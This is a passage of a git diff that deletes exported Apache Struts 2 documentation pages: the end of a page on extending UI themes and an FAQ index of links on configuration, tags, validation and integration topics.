-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Extending Themes</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ui-tags.html">UI Tags</a>&nbsp;&gt;&nbsp;<a href="themes-and-templates.html">Themes and Templates</a>&nbsp;&gt;&nbsp;<a href="extending-themes.html">Extending Themes</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Extending Themes</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13962">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13962">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13962">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13962">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13962">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13962">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><style type="text/css">/*<![CDATA[*/
-div.rbtoc1488973561179 {padding: 0px;}
-div.rbtoc1488973561179 ul {list-style: disc;margin-left: 0px;}
-div.rbtoc1488973561179 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></p><div class="toc-macro rbtoc1488973561179">
-<ul class="toc-indentation"><li><a shape="rect" href="#ExtendingThemes-CreatingaNewThemefromScratch">Creating a New Theme from Scratch</a></li><li><a shape="rect" href="#ExtendingThemes-WrappinganExistingTheme">Wrapping an Existing Theme</a></li><li><a shape="rect" href="#ExtendingThemes-ExtendinganExistingTheme">Extending an Existing Theme</a></li><li><a shape="rect" href="#ExtendingThemes-Specialparameters">Special parameters</a></li></ul>
-</div><p>Most often, an application may just need to override a template (see <a shape="rect" href="template-loading.html">Template Loading</a>) so that a certain control renders differently. Or, an application may need to add a new template to an existing theme. Other times, you might want to create an entirely new theme, perhaps because you are building a rich set of unique and reusable templates for your organization.</p><p>There are three ways to create new themes:</p><ul><li>Create  [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;#include "/${parameters.templateDir}/${parameters.expandTheme}/controlheader.ftl" /&gt;
-&lt;#include "/${parameters.templateDir}/simple/xxx.ftl" /&gt;
-&lt;#include "/${parameters.templateDir}/${parameters.expandTheme}/controlfooter.ftl" /&gt;
-</pre>
-</div></div><p>Wrapping is a great way to augment the basic HTML elements provided by the simple theme.</p><h2 id="ExtendingThemes-ExtendinganExistingTheme">Extending an Existing Theme</h2><p>One benefit of object-orientated programming is that it lets us "design by difference." We can extend an object and code only the behaviour that changes. Themes provide a similar capability. The subdirectory that hosts a theme can contain a <code>theme.properties</code> file. A <code>parent</code> e [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">parent = xhtml
-</pre>
-</div></div><p>An extended theme does not need to implement every single template that the <a shape="rect" href="struts-tags.html">Struts Tags</a> expect. It only needs to implement the templates that change. The other templates are loaded from the parent template.</p><h2 id="ExtendingThemes-Specialparameters">Special parameters</h2><p><a shape="rect" class="external-link" href="http://struts.apache.org/development/2.x/struts2-core/apidocs/org/apache/struts2/components/UIBean.html">UIBea [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/faqs.html b/content/docs/faqs.html
deleted file mode 100644
index 7894c56..0000000
--- a/content/docs/faqs.html
+++ /dev/null
@@ -1,507 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>FAQs</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">FAQs</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14182">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14182">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14182">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14182">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14182">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14182">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Adding New FAQs</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Each FAQ should be cross-referenced from a relevant page in one of the guides. (If a relevant page in the guide is missing, then we probably need to create one!) Each question should be a new page. Answers should be concise and focused. If an answer seems long, or seems like it could relate to more than one section, then the question might be addressing more than one concern.</p>
-
-<p>FAQs can also be "mini-HOWTOs". As long as the question and answer are focused on a single concern, length is not an issue.</p></div></div>
-
-<p>
-
-</p><h3 id="FAQs-Migrating">Migrating</h3>
-
-<ul><li>See the <a shape="rect" href="migration-guide.html">Migration Guide</a></li></ul>
-
-
-<h3 id="FAQs-General">General</h3>
-
-<ul><li>&#65279;<a shape="rect" href="where-do-we-get-the-latest-version-the-framework.html">Where do we get the latest version the framework</a>?</li><li><a shape="rect" href="what-are-some-of-the-frameworks-best-features.html">What are some of the framework's best features</a>?</li><li><a shape="rect" href="what-are-the-fundamental-differences-between-struts-and-jsf.html">What are the fundamental differences between Struts and JSF</a>?</li><li><a shape="rect" href="can-you-suggest-an-e [...]
-
-
-<h3 id="FAQs-HOWTO">HOWTO</h3>
-
-<ul><li><a shape="rect" href="how-can-we-display-dynamic-or-static-images-that-can-be-provided-as-an-array-of-bytes.html">How can we display dynamic or static images that can be provided as an array of bytes</a>?</li><li><a shape="rect" href="how-can-we-return-a-text-string-as-the-response.html">How can we return a text string as the response</a>?</li><li><a shape="rect" href="how-can-we-test-applications.html">How can we test applications?</a></li><li><a shape="rect" href="how-can-we-te [...]
-
-
-<h3 id="FAQs-Configuration">Configuration</h3>
-
-<ul><li><a shape="rect" href="can-we-break-up-a-large-strutsxml-file-into-smaller-pieces.html">Can we break up a large struts.xml file into smaller pieces</a>?</li><li><a shape="rect" href="parameters-in-configuration-results.html">Parameters in configuration results</a></li><li><a shape="rect" href="make-struts-throw-exceptions-on-missing-properties-or-log-them.html">Make Struts throw exceptions on missing properties, or log them</a></li></ul>
-
-
-<h3 id="FAQs-AccessingResources">Accessing Resources</h3>
-
-<ul><li><a shape="rect" href="how-do-we-get-access-to-the-session.html">How do we get access to the session</a>?</li><li>&#65279;<a shape="rect" href="how-do-we-get-invalidate-the-session.html">How do we get invalidate the session</a>?</li><li><a shape="rect" href="how-can-we-access-the-httpservletrequest.html">How can we access the HttpServletRequest</a>?</li><li><a shape="rect" href="how-can-we-access-the-httpservletresponse.html">How can we access the HttpServletResponse</a>?</li><li> [...]
-
-
-<h3 id="FAQs-Per-PageSettings">Per-Page Settings</h3>
-
-<ul><li><a shape="rect" href="can-i-change-theme-on-a-per-page-basis.html">Can I change theme on a per-page basis</a>?</li><li><a shape="rect" href="can-i-change-templatedir-on-a-per-page-basis.html">Can I change templateDir on a per-page basis</a>?</li><li><a shape="rect" href="can-i-change-templatesuffix-on-a-per-page-basis.html">Can I change templateSuffix on a per-page basis</a>?</li></ul>
-
-
-<h3 id="FAQs-Interceptors">Interceptors</h3>
-
-<ul><li><a shape="rect" href="why-isnt-our-prepare-interceptor-being-executed.html">Why isn't our Prepare interceptor being executed</a>?</li><li><a shape="rect" href="why-does-my-setter-not-get-called-by-the-params-interceptor.html">Why does my setter not get called by the Params interceptor</a>?</li><li><a shape="rect" href="how-do-we-configure-an-interceptor-to-be-used-with-every-action.html">How do we configure an Interceptor to be used with every Action</a>?</li></ul>
-
-
-<h3 id="FAQs-Validation">Validation</h3>
-
-<ul><li><a shape="rect" href="why-is-my-action-returning-input-when-the-form-is-filled-out-correctly.html">Why is my action returning "input" when the form is filled out correctly</a>?</li><li><a shape="rect" href="how-do-i-use-messages-from-within-the-validator.html">How do I use messages from within the validator</a>?</li><li><a shape="rect" href="how-can-i-fix-the-attribute-short-circuit-error-message.html">How can I fix the "Attribute 'short-circuit'" error message</a>?</li><li><a sh [...]
-
-
-<h3 id="FAQs-Localization">Localization</h3>
-
-<ul><li><a shape="rect" href="how-do-we-change-locales.html">How do we change locales</a>?</li><li><a shape="rect" href="how-do-i-set-a-global-resource-bundle.html">How do I set a global resource bundle</a>?</li><li>&#65279;<a shape="rect" href="how-do-i-decouple-xwork-localizedtextutil-global-resource-bundle-loading-from-serlvets.html">How do I decouple XWork LocalizedTextUtil global resource bundle loading from serlvets</a>?</li><li><a shape="rect" href="how-do-i-add-i18n-to-a-ui-tag-l [...]
-
-
-<h3 id="FAQs-TypeConversion">Type Conversion</h3>
-
-<ul><li><a shape="rect" href="how-do-i-change-the-invalid-input-error-message-for-a-particular-field.html">How do I change the invalid input error message for a particular field</a>?</li><li><a shape="rect" href="why-is-the-application-logging-a-warning-that-the-compound-root-cannot-find-a-particular-object-with-a-particular-property.html">Why is the application logging a warning that the Compound Root cannot find a particular Object with a particular property</a>?</li></ul>
-
-
-<h3 id="FAQs-ValueStack">Value Stack</h3>
-
-<ul><li><a shape="rect" href="what-are-the-default-variables-in-the-value-stack.html">What are the default variables in the value stack</a>?</li></ul>
-
-
-<h3 id="FAQs-Tags"><a shape="rect" href="tag-developers-guide.html">Tags</a></h3>
-
-<ul><li><a shape="rect" href="why-do-the-form-tags-put-table-tags-around-controls.html">Why do the form tags put table tags around controls</a>?</li><li><a shape="rect" href="how-can-i-put-a-string-literal-in-a-javascript-call-for-instance-in-an-onchange-attribute.html">How can I put a String literal in a Javascript call, for instance in an onChange attribute</a>?</li><li><a shape="rect" href="why-wont-the-if-tag-evaluate-a-one-char-string.html">Why won't the 'if' tag evaluate a one char [...]
-
-
-<h3 id="FAQs-POJOs">POJOs</h3>
-
-<ul><li><a shape="rect" href="should-the-framework-call-getmodel-multiple-times-as-a-page-renders.html">Should the framework call getModel multiple times as a page renders</a>?</li></ul>
-
-
-<h3 id="FAQs-Spring">Spring</h3>
-
-<ul><li><a shape="rect" href="how-can-we-create-our-action-objects-from-the-spring-configuration.html">How can we create our Action objects from the Spring configuration</a>?</li><li><a shape="rect" href="why-would-we-want-to-create-action-objects-from-the-spring-configuration.html">Why would we want to create Action objects from the Spring configuration</a>?</li></ul>
-
-
-<h3 id="FAQs-Velocity">Velocity</h3>
-
-<ul><li><a shape="rect" href="im-trying-to-run-the-example-in-the-tutorial-on-tomcat-and-it-cant-instantiate-the-velocityengine.html">I'm trying to run the example in the tutorial on Tomcat, and it can't instantiate the VelocityEngine</a></li></ul>
-
-
-<h3 id="FAQs-Ajax/Dojo">Ajax/Dojo</h3>
-
-<ul><li><a shape="rect" href="ie-showing-a-prompt-saying-this-page-contains-both-secure-and-nonsecure-items-when-using-dojo.html">IE showing a prompt saying "This page contains both secure and nonsecure items" when using dojo</a></li></ul>
-
-
-<h3 id="FAQs-IssuesinSpecificEnvironments">Issues in Specific Environments</h3>
-
-<ul><li><a shape="rect" href="weblogic-81.html">Weblogic 8.1</a></li><li><a shape="rect" href="jrockit.html">JRockit</a></li><li><a shape="rect" href="multiple-struts-2-wars-in-a-single-ear.html">Multiple Struts 2 wars in a single ear</a></li><li><a shape="rect" href="google-app-engine-gae.html">Google App Engine (GAE)</a></li></ul>
-
-
-<h2 id="FAQs-Extensions">Extensions</h2>
-
-<ul><li><a shape="rect" href="does-the-framework-integrate-with-hibernate.html">Does the framework integrate with Hibernate</a>?</li><li><a shape="rect" href="can-we-use-jstl-with-the-framework.html">Can we use JSTL with the framework</a>?</li><li><a shape="rect" href="can-we-use-junit-with-the-framework.html">Can we use JUnit with the framework</a>?</li><li><a shape="rect" href="can-we-use-testng-with-the-framework.html">Can we use TestNG with the framework</a>?</li><li><a shape="rect"  [...]
-
-
-<h3 id="FAQs-PortletSupport(JSR168)">Portlet Support(JSR168)</h3>
-
-<ul><li><a shape="rect" href="which-portal-servers-are-supported.html">Which portal servers are supported</a>?</li><li><a shape="rect" href="how-to-build-the-portlet-war-for-a-specific-portal-server.html">How to build the portlet WAR for a specific portal server</a></li></ul>
-
-
-<h3 id="FAQs-Migrating.1">Migrating</h3>
-
-<ul><li><a shape="rect" href="why-is-my-action-unavailable.html">Why is my action unavailable</a>?</li></ul>
-
-
-<h2 id="FAQs-Errata?">Errata?</h2>
-
-<div class="confluence-information-macro confluence-information-macro-tip"><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>To suggest a change or a correction to any part of the documentation, log in and leave a comment on the appropriate page. We are always looking for <a shape="rect" class="external-link" href="http://struts.apache.org/2.x/docs/contributors-guide.html">help with the do [...]
-
-<h2 id="FAQs-Next:">Next: <a shape="rect" href="cookbook.html">Cookbook</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
